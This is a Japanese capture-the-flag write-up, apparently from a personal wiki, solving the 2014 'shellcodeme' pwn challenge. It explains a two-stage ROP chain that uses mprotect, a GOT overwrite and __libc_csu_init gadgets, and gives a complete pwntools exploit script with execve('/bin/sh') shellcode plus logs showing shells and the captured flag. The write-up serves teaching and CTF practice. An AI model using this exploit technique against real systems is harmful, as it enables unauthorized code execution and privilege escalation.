Login
Immutable PageDiscussionInfoAttachments

Revision 4 as of 2014-12-23 07:27:39

Clear message
ytoku/CTF/Writeup/AdventCalendarCTF2014/2014-12-23

MMA

shellcodeme

問題

Can you execute shellcode? Really?

shellcodeme.c shellcodeme

nc pwnable.katsudon.org 33201

解法

shellcodemeは32bitのx86バイナリである。 readで書き込む先がmmapで確保した領域ではなく,スタック上のbufポインタを含む領域になってしまっている。

ROPで0x20000000をrwxにしてからシェルコードをそこにreadして実行するのが基本的な流れである。 しかし,実際にシェルを取ってみるとflagは別のグループの所有権で置かれており,sgidビットの立ったプログラムshellcodeme2が置かれている。

% python exploit1.py 
[+] Opening connection to pwnable.katsudon.org on port 33201: OK
[*] Switching to interactive mode
$ ls -l
total 16
-r--r----- 1 root shellcodeme2   34 Dec 22 22:09 flag
-r-xr-sr-x 1 root shellcodeme2 8621 Dec 22 22:09 shellcodeme2
$ id
uid=1000(shellcodeme) gid=1000(shellcodeme) groups=1000(shellcodeme)

道理で20日の問題と大差ないわけだ。もう一段のエクスプロイトが必要である。

shellcodeme2をダウンロードしてみると,同じソースコードを元にした64bitのamd64バイナリであった。 amd64の場合は引数をレジスタ(rdi,rsi,rdx,...)で渡すABIになっており,単に引数をスタックに積むだけでは関数を呼び出すことができない。

__libc_csu_initの最後にあるpopに注目する。

  40068a:       5b                      pop    %rbx
  40068b:       5d                      pop    %rbp
  40068c:       41 5c                   pop    %r12
  40068e:       41 5d                   pop    %r13
  400690:       41 5e                   pop    %r14
  400692:       41 5f                   pop    %r15

prefix 41が付いている命令の途中から実行すると次の四つのpop命令が得られる。

  40068d:       5c                      pop    %rsp
  40068f:       5d                      pop    %rbp
  400691:       5e                      pop    %rsi
  400693:       5f                      pop    %rdi

これにより第一引数(rdi)と第二引数(rsi)は解決した。問題は第三引数(rdx)である。 今回欲しい第三引数はmprotectに渡す7である。main関数でmmapを呼ぶときのrdxを流用できないかを考えると,GOTを書き換えてmmapが呼ばれた時点でpop; retしてROPコードに戻ってくれば良いことが分かる。

0x20000000を書き込み・実行可能にした後のシェルコードの読み込みもmain関数を流用する。書き込み先のアドレスはrbpを基準に決定されるので,rbpの値を調整することによって0x20000000からシェルコードを書き込むことが出来る。次のmprotectのジャンプ先を書き換えておけばROPコードに戻ってくることが出来る。

   1 from pwn import *
   2 
   3 DOWNLOAD_STAGE2 = False
   4 
   5 #conn = process("./shellcodeme")
   6 conn = remote("pwnable.katsudon.org", 33201)
   7 
   8 shell_pid = -1
   9 def check_shell():
  10     # check whether pid is changed.
  11     # or you can simply check id.
  12     global shell_pid
  13     try:
  14         conn.clean()
  15         conn.send("echo $$\n")
  16         pid = int(conn.recvline()[:-1])
  17         if shell_pid == pid:
  18             raise Exception()
  19         shell_pid = pid
  20         return True
  21     except:
  22         return False
  23 
  24 
  25 ########################## Stage 1 ##################################
  26 context(arch = 'i386', os = 'linux')
  27 rop = ""
  28 rop += p32(0x8048330)       # mprotect
  29 rop += p32(0x804855d)       # skip 3 words
  30 rop += p32(0x20000000)      # buf
  31 rop += p32(1024)            # length
  32 rop += p32(7)               # PROT_READ|PROT_WRITE|PROT_EXEC
  33 
  34 rop += p32(0x8048340)       # read
  35 rop += p32(0x804855d)       # skip 3 words
  36 rop += p32(0x0)             # stdin
  37 rop += p32(0x20000000)      # buf
  38 rop += p32(1024)            # length
  39 
  40 rop += p32(0x20000000)
  41 
  42 shellcode = asm(shellcraft.sh())
  43 
  44 s = ""
  45 # buf
  46 s += p32(0x80484fc)     # call "leave; ret" : esp <- ebp
  47 # ebp - {0,4,8,12}
  48 s += p32(0x80484fd)*5   # ret
  49 s += rop
  50 
  51 log.info("Stage 1")
  52 print hexii(s)
  53 log.waitfor("Pwning stage 1")
  54 
  55 conn.send(s)
  56 time.sleep(0.5)
  57 conn.send(shellcode)
  58 
  59 time.sleep(1)
  60 if check_shell():
  61     log.done_success("OK")
  62 else:
  63     log.done_failure("NG")
  64     exit(1)
  65 
  66 if DOWNLOAD_STAGE2:
  67     log.waitfor("Downloading shellcodeme2")
  68     endmarker = "EOFEOF"
  69     conn.send("cat shellcodeme2; echo -n %s\n" % endmarker)
  70     with open("shellcodeme2", "wb") as f:
  71         f.write(conn.recvuntil(endmarker)[:-len(endmarker)])
  72     log.done_success("OK")
  73     exit(0)
  74 
  75 conn.send("./shellcodeme2\n")
  76 
  77 ########################## Stage 2 ##################################
  78 context(arch = 'amd64', os = 'linux')
  79 
  80 SKIP1 = p64(0x400692)       # pop r15; ret
  81 SETRBP = p64(0x40068f)      # pop rbp; pop r14; pop r15; ret
  82 SETRDI = p64(0x400693)      # pop rdi; ret
  83 SETRSI = p64(0x400691)      # pop rsi; pop r15; ret
  84 DUMMY = p64(0x400694)       # ret
  85 
  86 ########### ROP code #############
  87 rop = ""
  88 ### make buf executable ###
  89 # mmap -> pop; ret
  90 # read(0, mmap, *)
  91 rop += SETRDI
  92 rop += p64(0)
  93 rop += SETRSI
  94 rop += p64(0x601018)    # mmap
  95 rop += DUMMY
  96 rop += p64(0x400490)    # read
  97 
  98 # edx = PROT_READ|PROT_WRITE|PROT_EXEC
  99 rop += p64(0x4005d6)
 100 
 101 # mprotect(0x20000000, 1024, edx)
 102 rop += SETRDI
 103 rop += p64(0x20000000)
 104 rop += SETRSI
 105 rop += p64(1024)
 106 rop += DUMMY
 107 rop += p64(0x4004c0)    # mprotect
 108 
 109 ### read shellcode to buf ###
 110 # mprotect -> pop; ret
 111 # read(0, mprotect, *)
 112 # note: edx = 7 (length)
 113 rop += SETRDI
 114 rop += p64(0)
 115 rop += SETRSI
 116 rop += p64(0x601038)    # mprotect
 117 rop += DUMMY
 118 rop += p64(0x400490)    # read
 119 
 120 # rbp = 0x20000008
 121 rop += SETRBP
 122 rop += p64(0x20000008)
 123 rop += DUMMY
 124 rop += DUMMY
 125 
 126 # read shellcode to 0x20000000
 127 # read(0, rbp-8, 1024)
 128 rop += p64(0x4005ea)
 129 
 130 ### go go go ###
 131 rop += p64(0x20000000)
 132 
 133 ########### shellcode #############
 134 shellcode = ""
 135 shellcode += asm("xor rdx, rdx")
 136 shellcode += asm("xor rsi, rsi")
 137 shellcode += asm("mov rax, `/bin/sh\\0`")
 138 shellcode += asm("push rax")
 139 shellcode += asm("mov rdi, rsp")
 140 shellcode += asm("mov rax, SYS_execve")
 141 shellcode += asm("syscall")
 142 
 143 s = ""
 144 # rbp-8: buf
 145 s += p64(0x40062b)  # call "leave; ret" : rsp <- rbp
 146 # rbp
 147 s += DUMMY
 148 s += rop
 149 
 150 log.info("Stage 2")
 151 print hexii(s)
 152 log.waitfor("Pwning stage 2")
 153 
 154 conn.send(s)
 155 time.sleep(0.5)
 156 conn.send(SKIP1)
 157 time.sleep(0.5)
 158 conn.send(SKIP1[:7]) # read only 7 bytes, because edx = 7
 159 time.sleep(0.5)
 160 conn.send(shellcode)
 161 
 162 time.sleep(1)
 163 if check_shell():
 164     log.done_success("OK")
 165 else:
 166     log.done_failure("NG")
 167     exit(1)
 168 
 169 conn.interactive()

% python exploit.py 
[+] Opening connection to pwnable.katsudon.org on port 33201: OK
[*] Stage 1
00000000  fc 84 04 08 fd 84 04 08 fd 84 04 08 fd 84 04 08 |
00000010  fd 84 04 08 .0 83 04 08 .] 85 04 08          20 |
00000020     04       07          .@ 83 04 08 .] 85 04 08 |
00000030                       20    04                20 |
00000040
[+] Pwning stage 1: OK
[*] Stage 2
00000000  .+ 06 .@                ., 06 .@                |
00000010  93 06 .@                                        |
00000020  91 06 .@                18 10 .`                |
00000030  94 06 .@                90 04 .@                |
00000040  d6 05 .@                93 06 .@                |
00000050           20             91 06 .@                |
00000060     04                   94 06 .@                |
00000070  c0 04 .@                93 06 .@                |
00000080                          91 06 .@                |
00000090  .8 10 .`                94 06 .@                |
000000a0  90 04 .@                8f 06 .@                |
000000b0  08       20             94 06 .@                |
000000c0  94 06 .@                ea 05 .@                |
000000d0           20                                     |
000000d8
[+] Pwning stage 2: OK
[*] Switching to interactive mode
$ ls
flag
shellcodeme2
$ cat flag
ADCTF_I_l0v3_tH15_4W350M3_m15T4K3